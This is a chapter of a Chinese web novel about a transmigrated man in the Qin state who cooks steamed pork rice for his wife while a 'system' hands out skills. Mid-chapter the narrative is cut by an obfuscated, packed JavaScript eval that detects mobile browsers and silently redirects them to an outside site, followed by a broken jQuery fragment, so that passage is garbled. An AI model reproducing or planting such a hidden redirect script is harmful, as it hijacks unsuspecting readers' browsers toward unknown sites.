据先秦时期的典籍中记载，曾规定“庶人无故不食珍”的饮食礼制。


    兼之民间食物匮乏，生产力低下，牛羊猪犬等牲畜的肉类都与庶人无缘。当时的庶民百姓想要吃口新鲜的食物很难，只有在祭祀时才能吃到鱼类。平时的餐桌上多是以稻、梁、黍、豆类和蔬菜等为主，更是难见荤腥。


    到春秋战国后期，战乱频繁，礼乐崩坏，庶民百姓不再如前期那般受到礼制约束，平时餐桌上也能见到荤腥了。


    但想要吃到一口新鲜肉类依旧困难，且如今百姓家里养的猪基本没有进行阉割，猪肉吃起来又膻又腥，多是拿来腌制成肉干。


    这样不仅可以吃很久，还能耐存放。


    能有得吃就不错了，至于如何烹饪，味道好不好，基本不讲究这些。


    百里超然却不这么认为，民以食为天，吃饭这等大事，怎么能不讲究。


    他去野外没开发的山林徒步的时候，都要带上锅碗瓢盆自己做饭。


    何况这会眼前的条件这么差，他的伤还没好全，再不改善饮食犒劳自己，他在秦国混得再有出息有啥用。


    不如一碗蒸肉盖饭来得实惠。


    百里超然连续吃了十几天夢做的饭菜后，再也坚持不住了。


    他从床上爬起来，撸起手袖就要开干。


    夢脸色大变，没想到百里超然之前说的话是真的。她将柴刀一丢就要拦住他，很是自责地说：“良人想吃什么，跟我说就是了，怎么能亲自做饭？”


    她就没见过有士族自己做饭的。


    哪怕良人已经不是士人，可也是前士人。被别人知道了，岂不是要来笑话良人。


    百里超然轻松而笑：“夢，那是他们的事，他们笑他们的，我们做我们的，我以前就很想下厨了，你今日拦着我，明日我也会做。”


    他态度坚决，像是较着劲儿。


    夢想拦又不敢使莽力，就怕伤到他，这正合百里超然的意，轻松地越过她来到厨房。


    厨房设在院里，上方搭着小棚避雨，下方围着一圈石砖，将地面垫高，以免下雨时雨水浸湿堆放在灶口旁的柴火。


    百里超然走近才发现，家里的粮食没放在外面，被夢好好地藏在屋里。


    他回首，喊夢取稻米和肉干来。


    夢拿来食物，有些不自在地问：“良人要做什么？”


    百里超然：“做蒸肉饭。”


    为了能将肉干储存得更久，时人会将猪肉、羊肉等肉类切成条状，再用粗盐搓揉，让每条肉外面的纹理都能沾到盐巴，接着挂到屋檐、梁上阴干。


    阴好的肉条，需要用带有香味的树叶等干物熏制，等再也滴不出油脂，就可以存放起来。


    夢做的猪肉干，只简单地用谷糠熏制而成，凑到鼻尖细嗅，只闻到一股明显的肉腥味。


    这样的肉干在百里超然的眼中是极其不合格的，放在以前他碰都不会碰。


    他想了想，切出三分之一的肉干，浸泡到水里。


    夢看不懂他的操作，黑漆漆的双眼睁得圆鼓鼓的，伸直脖子往他那边瞅，见他切了那么大一块肉，顿时生出不舍。


    她从未听良人说过自己会做饭，要是做坏了，岂不是浪费那么大一块肉！


    接着，她又看到百里超然在筛稻谷，带有谷糠的稻粒被他一一挑出来，直至剩余的稻谷瞧着干干净净，难见杂色。


    就是份量直接少一半……


    夢咬咬唇，想着要不要阻住。


    便看到百里超然拿着洗好地稻谷越过她，从灶具里面挑出一个蒸器，把稻谷铺平，回到灶边，将其放到灶上。


    “良人，这是在蒸饭？”夢看懂了，她以前见过厨娘这么做过。


    但蒸饭费米费柴，只有士人讲究饮食会这般吃。


    百里超然抽空“嗯”了声，眼眸微垂看向存放调料的罐子，随着脑袋转动，额间一缕发丝摇摇微动。


    调料都用罐子密封放着，从外看分辨不出来。


    百里超然想了想，回头看向夢：“你来帮我烧火。”


    夢闻言，麻利地卷起衣袖，拿出日常存放的火种，捧着干草小心点燃，放到灶口里鼓吹。


    一抹火苗飘起，红艳的火光便快速地裹挟着干草，热烈地燃烧起来。


    有夢的帮助，百里超然将重心放到调料上。


    饭菜好不好吃，全靠调料如何。


    条件简陋也有简陋的法子，在没有调料的情况下，简单的盐巴也能把食材原本的味道激发出来。


    不过……这个法子不适用在这里。


    百里超然只有一块腌制过的肉干，以及找出来的酱。


    这酱便是秦民们最爱吃的豆酱，可以说是酱油的前身。但这酱不是液体，更像发酵好的豆豉，庶民百姓通常将酱拌在粥、糜里直接吃，祭祀时，会用它抹在肉和鱼上面，蒸熟了吃。


    反正吃法很简单。


    之前，夢就拿着酱拌粥喂百里超然。


    只有酱还不够，百里超然问：“家里可有花椒？”


    夢听后，摇了摇头。


    百里超然吸了一口气，不抱希望地又问：“姜呢？”上次夢煮鱼羹就没有放姜，想来也是没有的。


    果不其然，夢再次摇了摇头。


    夢不解：“良人要花椒和姜做什么？”


    百里超然见她不知，耐心地说：“花椒有奇香，吃着有辛辣之味，本只作为香料用来祭拜神仙，后来楚国人用它当调料，还做出来了闻名已久的椒柏酒，这酒能饮，也能做调味烹饪食物。”


    “至于姜，要是用来佐餐，则可以用香油和醋腌制，要是拿来调味，可与鱼一起烹饪，能去鱼腥。下回你煮鱼羹，就可用姜切丝，放进去一同煮。”


    夢听得两眼惊奇，忍不住夸道：“良人懂得真多。”


    百里超然脸上浮现一丝赧然，说：“这些都是书上写的，我看过就记住了。”


    夢自然相信，但不妨碍她觉得百里超然厉害。


    现在百里超然想要的东西家里都没有，这就不好办了。夢转念一想，家里还有别的调料呀。


    她把装醋的罐子拿出来，高兴道：“良人可以用醋呀！”


    时人爱吃酸，特别是行伍之人，在行军时会用皮袋装醋挂在腰间，驻扎歇息时会以醋代酒，平日里做饭也用醋烹饪调料。


    这习惯也延续到百姓的生活之中，用醋酿肉，也是一道绝佳美食。


    平时只有祭祀时候才能吃到。


    夢想着酿肉的滋味，嘴里不自觉地分泌出唾液，喉咙滚动地咽了咽口水。


    百里超然遗憾摇头：“蒸肉饭是咸香口味，用醋就不对味了。”


    说到咸味，百里超然和夢两人的目光一同转向装着酱的罐子。


    家里也就这酱咸味十足了。


    无法，百里超然退求其次地挖出一勺酱到碗中，拿勺子给它碾碎，放着备用。


    肉干在水中浸泡许久，摸着依旧干硬，百里超然拿着菜刀试了试，发现能切开，便把这块肉干切成薄片。


    百里超然扫视一圈，发现家里连锅状的器皿都没有，一问夢，才知道她平日里都是用土瓮做饭。


    至于炒菜，这个时候是没有炒菜的，蔬菜通常混在粥和汤里煮。


    百里超然：“……”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16208054|181332||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    等积分攒够了，他一定要先学做器具！


    他心里对着系统嚷嚷两声，转头看到家里只有一个灶台，顿时无奈轻笑，看来灶台也要安排上。


    虽然内心急切地想要改变现状，但百里超然这阵子已摸清系统的尿性，想要学到系统里面的技能，就得老老实实做任务。


    他轻叹气，不置一词地等米饭蒸好。


    再拿土瓮煸肉。


    肉干煸出油润润的荤脂，百里超然立时把碾碎的豆酱放进去，一并炒制到迸发出咸香味。


    土瓮壁厚不好控火，百里超然皱着眉炒得小心翼翼，在快糊之前，迅速地用勺子把肉片捞出来。


    这一系列动作熟稔而快速，看得夢眼花缭乱。


    她甚至忘记怀疑百里超然为何会有这等厨艺，整个人已经被空中飘散着的香味吸引。


    莫说别的，光是闻着香味，她就食欲大开，迫不及待地想尝这肉好不好吃。


    想到自己变得这么馋，夢羞愧地捂了捂脸。


    见百里超然没发现她的异样，夢心虚地眨动眼睛，还好良人没看到她发馋。


    煸好的肉片，还需要放在米饭里蒸半刻钟，这样一来，肉片的油脂和豆豉的咸味就会渗透入米饭，简易版的蒸肉饭就做好了。


    百里超然拿碗盛好饭，看着夢呆呆地没反应，笑着把碗放到她手上。


    夢盯着碗有些茫然。


    百里超然笑道：“吃吧，尝尝我做的饭。”


    夢听后，立即把碗推到百里超然面前，认真道：“良人先吃。”


    百里超然不明白地看她。


    夢继续说：“良人吃了，我再吃。”


    百里超然有些无奈：“我们是夫妻，没有我先吃的道理。再说就是一碗蒸肉饭，以后我还要做更多好吃的，难不成你都要等我先吃？”


    夢平日里很听百里超然的话，这时却不怕他，坚决摇头说自己不吃，要他吃。以前就是这样过来的，现在让她跟着一同吃，她反而有些惶恐。


    他该怎么纠正夢这个习惯？


    想到这属于时代性的问题，百里超然就苦恼，他的细言细语不仅没带来好的效果，反倒是令夢在某方面更加固执。


    像是要维护他作为一家之主的权威。


    百里超然开心不起来。


    他沉默半晌，神色严肃道：“你不吃，我便也不吃了。”


    说罢，顺势便要把蒸饭倒在地上。


    夢吃惊地瞪大眼，眼疾手快地把碗稳稳地捧在手里，也不劝百里超然了，生气地喊出内心的想法：“良人怎么能不爱惜粮食，要是良人不吃，我……我就吃了。”


    她越说，声音越小。


    百里超然立时换上笑脸：“你吃我也吃，咱们以后不说谁先吃的话。”


    夢无语，良人果然用的激将法。


    不过碗里的蒸饭飘出来的肉香味很快勾去她的注意力，夢拿着勺子挖一小口尝进嘴里，肉质不柴，嚼着咸香十足，米饭软糯不硬，不似以前吃过的任何粗粝米粥。


    明明用的是相同的肉干，相同的稻谷，为何良人做出来的却是完全不同的味道！


    她一口接着一口，完全停不下来。


    百里超然看着她吃得头都不抬，欣慰地笑了笑：“别急，锅里还有。”


    夢敷衍地嗯嗯两声，埋头继续吃。


    吃完饭，夢把吃得一粒米都不剩的蒸器和碗筷刷洗干净，擦拭着双手回屋，就看到百里超然坐在椅子上闭目养神。


    她站定一会儿，脸色涨红地转身出去。


    她定是疯了。


    才会想问良人下次什么时候做饭。